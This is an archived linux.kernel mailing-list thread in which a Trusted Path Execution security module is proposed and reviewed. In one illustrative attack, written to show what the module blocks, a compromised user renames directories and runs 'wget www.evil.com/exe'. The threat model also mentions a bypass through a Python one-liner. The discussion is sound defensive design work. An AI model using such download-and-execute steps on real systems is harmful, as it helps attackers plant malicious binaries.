Groups | Search | Server Info | Keyboard shortcuts | Login | Register [http] [https] [nntp] [nntps]

Groups > linux.kernel > #1660711 > unrolled thread

[PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM

Back to article view | Back to linux.kernel

Contents

  [PATCH v2 0/1]  Add Trusted Path Execution as a stackable LSM Matt Brown <matt@nmatt.com> - 2017-06-08 05:50 +0200
    Re: [PATCH v2 0/1]  Add Trusted Path Execution as a stackable LSM Alan Cox <gnomes@lxorguk.ukuu.org.uk> - 2017-06-08 20:40 +0200
      Re: [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM Matt Brown <matt@nmatt.com> - 2017-06-08 21:10 +0200
        Re: [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM Alan Cox <gnomes@lxorguk.ukuu.org.uk> - 2017-06-08 21:30 +0200
        Re: [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM Mickaël Salaün <mic@digikod.net> - 2017-06-11 13:40 +0200
          Re: [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM Matt Brown <matt@nmatt.com> - 2017-06-12 02:10 +0200

#1660711 — [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM

Trusted Path Execution (TPE)

Patch Versions:

v1:
* initial patch introduction

v2:
* included copyright notice from Brad Spengler and Corey Henderson
* reversed the invert_gid logic. tpe.gid now defaults to being the
  trusted group rather than the untrusted group.
* fixed race condition by taking reference to the parent dentry
* added sysctl tpe.restrict_root that includes the root user in TPE checks
* added mprotect and mmap restrictions from Corey Henderson tpe-lkm
  project
* added documentation file

This patch was modified from Brad Spengler's Trusted Path Execution (TPE)
feature. It also adds features and config options that were found in Corey
Henderson's tpe-lkm project.

Modifications from Brad Spengler's implementation of TPE were made to
turn it into a stackable LSM using the existing LSM hook bprm_set_creds.
Also, a new denial logging function was used to simplify printing messages
to the kernel log. Additionally, mmap and mprotect restrictions were
taken from Corey Henderson's tpe-lkm project and implemented using the
LSM hooks mmap_file and file_mprotect.

Trusted Path Execution is not a new idea:

http://phrack.org/issues/52/6.html#article

| A trusted path is one that is inside a root owned directory that
| is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
| (under normal circumstances) considered trusted.  Any non-root
| users home directory is not trusted, nor is /tmp.

To be clear, Trusted Path Execution is no replacement for a MAC system
like SELinux, SMACK, or AppArmor. This LSM is designed to be good enough
without requiring a userland utility to configure policies. The fact
that TPE only requires the user to turn on a few sysctl options lowers
the barrier to implementing a security framework substantially.

Threat Models:

1. Attacker on system executing exploit on system vulnerability

*  If attacker uses a binary as a part of their system exploit, TPE can
   frustrate their efforts

*  This protection can be more effective when an attacker does not yet
   have an interactive shell on a system

*  Issues:
   *  Can be bypassed by interpreted languages such as python. You can run
      malicious code by doing: python -c 'evil code'

2. Attacker on system replaces binary used by a privileged user with a
   malicious one

*  This situation arises when the administrator of a system leaves a
   binary as world writable.

*  TPE is very effective against this threat model

Documentation/security/tpe.txt |  59 +++++++++++
 MAINTAINERS                    |   5 +
 include/linux/lsm_hooks.h      |   5 +
 security/Kconfig               |   1 +
 security/Makefile              |   2 +
 security/security.c            |   1 +
 security/tpe/Kconfig           |  64 ++++++++++++
 security/tpe/Makefile          |   3 +
 security/tpe/tpe_lsm.c         | 218 +++++++++++++++++++++++++++++++++++++++++

[toc] | [next] | [standalone]

#1661575

> http://phrack.org/issues/52/6.html#article
> 
> | A trusted path is one that is inside a root owned directory that
> | is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
> | (under normal circumstances) considered trusted.  Any non-root
> | users home directory is not trusted, nor is /tmp.

Note that in the real world the trusted path would and should also
require that any elements of the path above that point are also locked
down if you are using path based models. Ie you need to ensure nobody has
the ability to rename /usr or /usr/local before you trust /usr/local/bin.

[toc] | [prev] | [next] | [standalone]

#1661589 — Re: [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM

On 6/8/17 2:37 PM, Alan Cox wrote:
>> http://phrack.org/issues/52/6.html#article
>>
>> | A trusted path is one that is inside a root owned directory that
>> | is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
>> | (under normal circumstances) considered trusted.  Any non-root
>> | users home directory is not trusted, nor is /tmp.
> 
> Note that in the real world the trusted path would and should also
> require that any elements of the path above that point are also locked
> down if you are using path based models. Ie you need to ensure nobody has
> the ability to rename /usr or /usr/local before you trust /usr/local/bin.
> 

So actually in this LSM it's not so much full paths that are trusted,
rather it checks that the directory containing the program is only
writable by root and that the program itself is only writable by root.

For example, consider the following:

/user/ with permissions drwxr-xr-x user user
/user/user-owned/ with permissions drwxr-xr-x user user
/user/user-owned/root-owned/ with permissions drwxr-xr-x root root
/user/user-owned/root-owned/exe with permissions -rwxr-xr-x root root

currently /user/user-owned/root-owned/exe is trusted because it can only
be written to by root, and the directory it is in can only be written by
root.

but then user becomes compromised and does the following:
cd /user/
mv user-owned user-owned-back
mkdir -p user-owned/root-owned
cd user-owned/root-owned
wget www.evil.com/exe

Now /user/user-owned/root-owned/exe is untrusted and its execution will
be denied unless you put user in the trusted group.

Matt

[toc] | [prev] | [next] | [standalone]

#1661608 — Re: [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM

> So actually in this LSM it's not so much full paths that are trusted,
> rather it checks that the directory containing the program is only
> writable by root and that the program itself is only writable by root.
> 
> For example, consider the following:
> 
> /user/ with permissions drwxr-xr-x user user
> /user/user-owned/ with permissions drwxr-xr-x user user
> /user/user-owned/root-owned/ with permissions drwxr-xr-x root root
> /user/user-owned/root-owned/exe with permissions -rwxr-xr-x root root
> 
> currently /user/user-owned/root-owned/exe is trusted because it can only
> be written to by root, and the directory it is in can only be written by
> root.
> 
> but then user becomes compromised and does the following:
> cd /user/
> mv user-owned user-owned-back
> mkdir -p user-owned/root-owned
> cd user-owned/root-owned
> wget www.evil.com/exe
> 
> Now /user/user-owned/root-owned/exe is untrusted and its execution will
> be denied unless you put user in the trusted group.

I can cause a lot of mischief just by renaming commands (mv cp rm
does't work on must implementations) but yes the root directory check
itself should avoid that you are correct.

[toc] | [prev] | [next] | [standalone]

#1663094 — Re: [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM

[Multipart message — attachments visible in raw view] — view raw

On 08/06/2017 21:01, Matt Brown wrote:
> On 6/8/17 2:37 PM, Alan Cox wrote:
>>> http://phrack.org/issues/52/6.html#article
>>>
>>> | A trusted path is one that is inside a root owned directory that
>>> | is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
>>> | (under normal circumstances) considered trusted.  Any non-root
>>> | users home directory is not trusted, nor is /tmp.
>>
>> Note that in the real world the trusted path would and should also
>> require that any elements of the path above that point are also locked
>> down if you are using path based models. Ie you need to ensure nobody has
>> the ability to rename /usr or /usr/local before you trust /usr/local/bin.
>>
> 
> So actually in this LSM it's not so much full paths that are trusted,
> rather it checks that the directory containing the program is only
> writable by root and that the program itself is only writable by root.
> 
> For example, consider the following:
> 
> /user/ with permissions drwxr-xr-x user user
> /user/user-owned/ with permissions drwxr-xr-x user user
> /user/user-owned/root-owned/ with permissions drwxr-xr-x root root
> /user/user-owned/root-owned/exe with permissions -rwxr-xr-x root root

Some tests would make this scenario clear. ;)

You can take a look at how seccomp-bpf does with the test_harness.h
helper. A new kselftest_harness.h will be available soon to not include
a file from the seccomp-bpf directory (cf. linux-next).

> 
> currently /user/user-owned/root-owned/exe is trusted because it can only
> be written to by root, and the directory it is in can only be written by
> root.
> 
> but then user becomes compromised and does the following:
> cd /user/
> mv user-owned user-owned-back
> mkdir -p user-owned/root-owned
> cd user-owned/root-owned
> wget www.evil.com/exe
> 
> Now /user/user-owned/root-owned/exe is untrusted and its execution will
> be denied unless you put user in the trusted group.
> 
> Matt
> 

[toc] | [prev] | [next] | [standalone]

#1663167 — Re: [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM

On 06/11/2017 07:30 AM, Mickaël Salaün wrote:
>
> On 08/06/2017 21:01, Matt Brown wrote:
>> On 6/8/17 2:37 PM, Alan Cox wrote:
>>>> http://phrack.org/issues/52/6.html#article
>>>>
>>>> | A trusted path is one that is inside a root owned directory that
>>>> | is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
>>>> | (under normal circumstances) considered trusted.  Any non-root
>>>> | users home directory is not trusted, nor is /tmp.
>>>
>>> Note that in the real world the trusted path would and should also
>>> require that any elements of the path above that point are also locked
>>> down if you are using path based models. Ie you need to ensure nobody has
>>> the ability to rename /usr or /usr/local before you trust /usr/local/bin.
>>>
>>
>> So actually in this LSM it's not so much full paths that are trusted,
>> rather it checks that the directory containing the program is only
>> writable by root and that the program itself is only writable by root.
>>
>> For example, consider the following:
>>
>> /user/ with permissions drwxr-xr-x user user
>> /user/user-owned/ with permissions drwxr-xr-x user user
>> /user/user-owned/root-owned/ with permissions drwxr-xr-x root root
>> /user/user-owned/root-owned/exe with permissions -rwxr-xr-x root root
>
> Some tests would make this scenario clear. ;)
>
> You can take a look at how seccomp-bpf does with the test_harness.h
> helper. A new kselftest_harness.h will be available soon to not include
> a file from the seccomp-bpf directory (cf. linux-next).
>

I'll take a look at those. Thanks!

Matt

[toc] | [prev] | [standalone]

Back to top | Article view | linux.kernel

csiph-web